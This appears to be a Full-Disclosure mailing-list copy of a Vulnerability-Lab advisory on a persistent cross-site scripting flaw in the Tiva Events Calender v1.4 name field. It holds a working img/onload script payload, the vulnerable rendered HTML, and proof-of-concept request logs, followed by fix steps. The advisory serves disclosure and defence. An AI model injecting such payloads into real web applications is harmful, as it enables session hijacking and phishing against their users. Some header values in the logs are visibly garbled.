'[FD] Tiva Events Calender v1.4 - Cross Site Scripting Vulnerability'

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List:       full-disclosure
Subject:    [FD] Tiva Events Calender v1.4 - Cross Site Scripting Vulnerability
From:       "info () vulnerability-lab ! com" <info () vulnerability-lab ! com>
Date:       2023-07-19 7:10:24
Message-ID: cad4a1e9-ede6-cec1-6c35-fe62348c986d () vulnerability-lab ! com
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From: "info@vulnerability-lab.com" <info@vulnerability-lab.com>
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Subject: Tiva Events Calender v1.4 - Cross Site Scripting Vulnerability
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Document Title:
==============Tiva Events Calender v1.4 - Cross Site Scripting Vulnerability

References (Source):
===================https://www.vulnerability-lab.com/get_content.php?id"76

Release Date:
============2023-07-05

Vulnerability Laboratory ID (VL-ID):
===================================2276

Common Vulnerability Scoring System:
===================================5

Vulnerability Class:
===================Cross Site Scripting - Persistent

Current Estimated Price:
=======================500ā‚¬ - 1.000ā‚¬

Product & Service Introduction:
==============================Events Calendar For PHP is a powerful PHP calendar script that \
can be easily integrated and used with various PHP projects, such as scheduler, event handler, \
etc. The calendar is simple to install, deploy, and use. It is suitable for all types of \
service businesses to get online reservations without any hassles.

(Copy of the Homepage:https://codecanyon.net/item/tiva-events-calendar-for-php/19199337  )

Abstract Advisory Information:
=============================The vulnerability laboratory core research team discovered a \
persistent script code inject vulnerability in the Tiva Events Calender v1.4 web-application.

Affected Product(s):
===================tiva_theme
Product: Tiva Events Calender - Calender PHP (Web-Application)

Vulnerability Disclosure Timeline:
=================================2021-04-03: Researcher Notification & Coordination (Security \
                Researcher)
2021-04-04: Vendor Notification 1 (Security Department)
2021-06-24: Vendor Notification 2 (Security Department)
2021-07-13: Vendor Notification 3 (Security Department)
****-**-**: Vendor Response/Feedback (Security Department)
****-**-**: Vendor Fix/Patch (Service Developer Team)
****-**-**: Security Acknowledgements (Security Department)
2023-07-05: Public Disclosure (Vulnerability Laboratory)

Discovery Status:
================Published

Exploitation Technique:
======================Remote

Severity Level:
==============Medium

Authentication Type:
===================Restricted Authentication (User Privileges)

User Interaction:
================Low User Interaction

Disclosure Type:
===============Responsible Disclosure

Technical Details & Description:
===============================A persistent input validation web vulnerability has been \
discovered in the official Tiva Events Calender v1.4 web-application. The vulnerability allows \
remote attackers to inject own malicious script codes with persistent attack vector to \
compromise browser to web-application requests from the application-side.

The vulnerability is located in the name input field and name parameter. Remote attackers \
privileged user accounts are able to inject own malicious script codes as name. Thus results in \
a persistent execute of the script code in the backend on edit but as well in the frontend \
(index) were the event is being displayed after the submit (save) via post method request. In \
the same direction it is possible to inject malformed client-side executable script code in get \
request to trigger a non-persistent execution.

Successful exploitation of the vulnerability results in session hijacking, persistent phishing \
attacks, persistent external redirects to malicious source and persistent manipulation of \
affected frontend / backend application modules.

Request Method(s):
[+] POST / GET

Vulnerable Input(s):
[+] Name

Vulnerable Parameter(s):
[+] name

Affected Module(s):
[+] index.php (Frontend on Event Preview)
[+] edit.php (Backend on Edit ID)

Proof of Concept (PoC):
======================The persistent input validation web vulnerability can be exploited by \
remote attackers with low privileged user account and with low user interaction. For security \
demonstration or to reproduce the persistent cross site web vulnerability follow the provided \
information and steps below to continue.

Exploitation: Payload
%20"<img src="evil.source" onload=alert(document.domain)>

Vulnerable Source: Frontend (Index)
<tr><td class="calendar-day-normal"><span class="calendar-day-weekend">8</span></td>
<td class="calendar-day-normal"><div class="calendar-day-file">9<div class="calendar-file-name \
color-4" onclick="downloadFile(220)"> <span class="event-name">event1"%20"<img \
src="evil.source" onload=alert(document.domain)></span></div></div></td><td \
class="calendar-day-normal">10</td> <td class="calendar-day-normal">11</td><td \
class="calendar-day-normal">12</td><td class="calendar-day-normal">13</td> <td \
class="calendar-day-normal"><span class="calendar-day-weekend">14</span></td></tr>

Vulnerable Source: Backend (Edit ID)
<section class="panel">
<header class="panel-heading"><i class="fa fa-folder-open"></i> Edit File</header>
<div class="panel-body">
<div class="alert alert-success">
<button data-dismiss="alert" class="close close-sm" type="button">
<i class="fa fa-times"></i>
</button>Report successfully saved.</div>
<form class="form-horizontal" action="edit.php?id"0" method="post" \
enctype="multipart/form-data"> <div class="form-group">
<label class="col-lg-2 col-sm-2 control-label">Name<span class="star">&nbsp;*</span></label>
<div class="col-sm-8">
<input type="text" name="name" class="form-control" value="event1"%20"<img src="evil.source" \
onload=alert(document.domain)>" required /&gt; </div></div>

--- PoC Session Logs (POST) ---
https://tiva-cal.localhost:8080/admin/report/edit.php
Host: tiva-cal.localhost:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: multipart/form-data; \
                boundary=---------------------------249785717017581481612148649683
Content-Length: 745
Origin:https://tiva-cal.localhost:8080
Connection: keep-alive
Referer:https://tiva-cal.localhost:8080/admin/report/edit.php
Cookie: PHPSESSIDvgqk14e1s6cce40hfj11
name="%20%20"<img src="evil.source" onload=alert(document.domain)>&type=1&time \
                -08-2021&file=temp.txt&save-
POST: HTTP/2.0 200 OK
server: nginx
content-type: text/html
content-length: 1283
etag: "503-53ed12f4ca761"
accept-ranges: bytes
strict-transport-security: max-age768000; includeSubDomains
-
https://tiva-cal.localhost:8080/admin/report/evil.source
Host: tiva-cal.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: image/webp,*/*
Connection: keep-alive
Referer:https://tiva-cal.localhost:8080/admin/report/edit.php?id"2
Cookie: PHPSESSIDvgqk14e1s6cce40hfj11
-
GET: HTTP/2.0 200 OK
server: nginx
content-type: text/html
content-length: 1283
etag: "503-53ed12f4ca761"
accept-ranges: bytes
strict-transport-security: max-age768000; includeSubDomains

Solution - Fix & Patch:
======================The vulnerability can be patched by the following steps ...
1. Encode and escape the name input field content on transmit via post method
2. Restrict the input field and disallow insert of special chars
3. Parse the output location on the index frontend via encode to sanitize and prevent the \
execute 4. Parse the output location on the edit id report backend via encode to sanitize and \
prevent the execute

Security Risk:
=============The security risk of the persistent input validation vulnerability in the \
web-application is estimated as medium.

Credits & Authors:
=================Vulnerability-Lab [Research Team] \
-https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab

Disclaimer & Information:
========================The information provided in this advisory is provided as it is without \
any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, \
including the warranties of merchantability and capability for a particular purpose. \
Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, \
indirect, incidental, consequential loss of business profits or special damages, even if \
Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some \
states do not allow the exclusion or limitation of liability for consequential or incidental \
damages so the foregoing limitation may not apply. We do not approve or encourage anybody to \
break any licenses, policies, deface websites, hack into databases or trade with stolen data.

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				    Copyright  © 2023 | Vulnerability Laboratory - [Evolution Security GmbH]ā„¢

--
VULNERABILITY LABORATORY (VULNERABILITY LAB)
RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE

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